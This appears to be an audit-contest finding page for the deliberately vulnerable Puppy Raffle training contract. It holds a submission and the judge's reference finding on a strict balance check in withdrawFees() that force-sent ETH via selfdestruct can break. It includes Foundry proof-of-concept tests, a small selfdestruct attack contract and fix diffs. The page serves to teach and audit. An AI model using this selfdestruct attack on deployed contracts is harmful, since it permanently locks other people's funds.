Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Direct ETH injection via selfdestruct permanently locks all fees in PuppyRaffle::withdrawFees()

georgibuilds

Root + Impact

Description

  • PuppyRaffle::withdrawFees() uses a strict equality check
    requiring address(this).balance == uint256(totalFees).
    An attacker can permanently break this invariant by
    force-sending 1 wei via selfdestruct(), making the
    equality permanently unsatisfiable and locking all
    accumulated protocol fees with no recovery path.

function withdrawFees() external {
// @> Strict equality breaks permanently if any ETH
// @> is force-sent via selfdestruct()
require(address(this).balance == uint256(totalFees),
"PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood:

  • Any attacker can deploy a contract with 1 wei
    and selfdestruct it targeting PuppyRaffle

  • Cost to attacker: 1 wei + gas

  • One-time action permanently breaks the function

Impact:

  • Owner can never withdraw accumulated fees

  • All protocol fees permanently locked

  • Misleading error message hides the real cause

  • No recovery path exists

Proof of Concept

Attack Path:

  1. Protocol operates normally — fees accumulate
    in totalFees after each selectWinner() call

  2. Attacker deploys a contract funded with 1 wei

  3. Attacker calls selfdestruct(address(puppyRaffle))
    forcing 1 wei into the contract

  4. address(this).balance increases by 1 wei

  5. totalFees stays unchanged

  6. balance != totalFees permanently

  7. withdrawFees() always reverts

  8. All accumulated fees locked forever

function test_eth_mishandling() public {
address[] memory players = new address[](4);
for (uint256 i = 0; i < 4; i++) {
players[i] = address(uint160(i + 1));
}
vm.deal(players[0], entranceFee * 4);
vm.prank(players[0]);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + raffleDuration + 1);
puppyRaffle.selectWinner();
console.log("Total fees:", uint256(puppyRaffle.totalFees()));
​
vm.deal(address(puppyRaffle), address(puppyRaffle).balance + 1 ether);
​
console.log("Contract balance:", address(puppyRaffle).balance);
console.log("Total fees recorded:", uint256(puppyRaffle.totalFees()));
​
vm.expectRevert();
puppyRaffle.withdrawFees();
}

Recommended Mitigation

Replace strict equality with >= to allow withdrawal
when balance is at least equal to totalFees. Additionally,
track ETH internally using a separate accounting variable
instead of relying on address(this).balance, which can
be manipulated externally via selfdestruct.

- require(address(this).balance == uint256(totalFees),
- "PuppyRaffle: There are currently players active!");
+ require(address(this).balance >= uint256(totalFees),
+ "PuppyRaffle: There are currently players active!");
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 9 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!